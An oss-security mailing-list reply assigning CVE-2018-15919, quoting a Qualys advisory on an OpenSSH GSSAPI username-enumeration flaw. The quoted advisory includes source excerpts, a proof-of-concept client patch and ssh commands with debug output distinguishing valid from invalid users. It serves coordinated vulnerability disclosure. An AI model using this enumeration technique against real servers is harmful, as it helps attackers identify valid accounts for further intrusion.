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Date: Tue, 28 Aug 2018 09:55:23 +0200
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: Another OpenSSH "user enumeration"
Hi,
Mitre has assigned CVE-2018-15919
Ciao, Marcus
On Mon, Aug 27, 2018 at 09:27:30AM -0700, Qualys Security Advisory wrote:
> Hi all,
>
> On August 24, 2018, we sent the following email to openssh@...nssh.com
> and distros@...openwall.org. About the disclosure of this issue, Solar
> Designer wrote "I'd be even happier with it being made public right away
> if that's OK with both the OpenSSH team and Qualys", and Theo de Raadt
> wrote "More than reporting to us, I urge you to publish it"; for a
> detailed explanation, please refer to Damien Miller's post:
>
> http://www.openwall.com/lists/oss-security/2018/08/24/1
>
> We thank the OpenSSH developers and the members of
> distros@...openwall.org for their constructive comments, suggestions,
> and feedback.
>
> ========================================================================
>
> While properly reviewing the now-famous OpenSSH commit
> https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
> we discovered another username-enumeration vulnerability in auth2-gss.c
> (enabled by default on at least Fedora, CentOS, and Red Hat Enterprise
> Linux).
>
> This vulnerability affects OpenSSH versions from 5.9 (September 6, 2011)
> to the recently released 7.8 (August 24, 2018), inclusive. It is quite
> similar to CVE-2018-15473 (it is not a timing attack), but it is also
> markedly different (code excerpts from OpenSSH 7.8p1):
>
> 61 static int
> 62 userauth_gssapi(struct ssh *ssh)
> 63 {
> ...
> 106 if (!authctxt->valid || authctxt->user == NULL) {
> 107 debug2("%s: disabled because of invalid user", __func__);
> 108 free(doid);
> 109 return (0);
> 110 }
> 111
> 112 if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, &goid)))) {
> 113 if (ctxt != NULL)
> 114 ssh_gssapi_delete_ctx(&ctxt);
> 115 free(doid);
> 116 authctxt->server_caused_failure = 1;
> 117 return (0);
> 118 }
> ...
> 123 if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_GSSAPI_RESPONSE)) != 0 ||
> 124 (r = sshpkt_put_string(ssh, doid, len)) != 0 ||
> 125 (r = sshpkt_send(ssh)) != 0)
> ...
> 132 authctxt->postponed = 1;
> 133
> 134 return (0);
> 135 }
>
> - If this first step of the GSSAPI authentication succeeds, then
> "postponed" is set to 1 (at line 132) and the server sends a packet
> SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
> in this particular case, the user is necessarily valid (it exists).
>
> - Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
> line 117 or 109: in both cases, the server's userauth_finish() sends a
> packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
> be unable to distinguish between a valid and invalid user. However, if
> the user is valid, then "server_caused_failure" is set (at line 116);
> if the user is invalid, it is not set. Consequently, the behavior of
> userauth_finish() changes:
>
> 340 void
> 341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
> 342 const char *submethod)
> 343 {
> ...
> 410 if (!partial && !authctxt->server_caused_failure &&
> 411 (authctxt->attempt > 1 || strcmp(method, "none") != 0))
> 412 authctxt->failures++;
> 413 if (authctxt->failures >= options.max_authtries) {
> ...
> 417 auth_maxtries_exceeded(authctxt);
> 418 }
> ...
> 422 packet_start(SSH2_MSG_USERAUTH_FAILURE);
> 423 packet_put_cstring(methods);
> 424 packet_put_char(partial);
> 425 packet_send();
> ...
> 429 }
>
> . if the user is valid, then "server_caused_failure" is set,
> "failures" is not incremented, and the attacker can attempt the
> GSSAPI authentication indefinitely;
>
> . if the user is invalid, then "server_caused_failure" is not set,
> "failures" is incremented (at line 412), and the server will
> disconnect the attacker (at line 417) after max_authtries
> authentication attempts (6, by default).
>
> Below is a very crude proof-of-concept (a patch for the client in
> OpenSSH 7.8p1):
>
> ------------------------------------------------------------------------
>
> diff -pruN openssh-7.8p1/gss-genr.c openssh-7.8p1-poc/gss-genr.c
> --- openssh-7.8p1/gss-genr.c 2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/gss-genr.c 2018-08-22 22:41:42.000000000 -0700
> @@ -286,6 +286,7 @@ ssh_gssapi_check_mechanism(Gssctxt **ctx
>
> ssh_gssapi_build_ctx(ctx);
> ssh_gssapi_set_oid(*ctx, oid);
> + return 1;
> major = ssh_gssapi_import_name(*ctx, host);
> if (!GSS_ERROR(major)) {
> major = ssh_gssapi_init_ctx(*ctx, 0, GSS_C_NO_BUFFER, &token,
> diff -pruN openssh-7.8p1/sshconnect2.c openssh-7.8p1-poc/sshconnect2.c
> --- openssh-7.8p1/sshconnect2.c 2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/sshconnect2.c 2018-08-22 22:41:42.000000000 -0700
> @@ -701,6 +701,7 @@ userauth_gssapi(Authctxt *authctxt)
> ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_TOKEN, &input_gssapi_token);
> ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERROR, &input_gssapi_error);
> ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, &input_gssapi_errtok);
> + return 1;
>
> mech++; /* Move along to next candidate */
>
> ------------------------------------------------------------------------
>
> For example, on Fedora, "adm" is a valid user, but "pocorgtfo" is not:
>
> ------------------------------------------------------------------------
>
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic adm@....0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> ...
>
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic pocorgtfo@....0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
> Disconnected from 127.0.0.1 port 22
>
> ------------------------------------------------------------------------
>
> We understand that the OpenSSH developers do not want to treat such a
> username enumeration (or "oracle") as a vulnerability (although it is
> quite useful in an attacker's toolbox), but how should we coordinate
> this disclosure, then? OpenSSH developers, distros, please advise.
>
> Thank you very much! With best regards,
>
> --
> the Qualys Security Advisory team
>
--
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>
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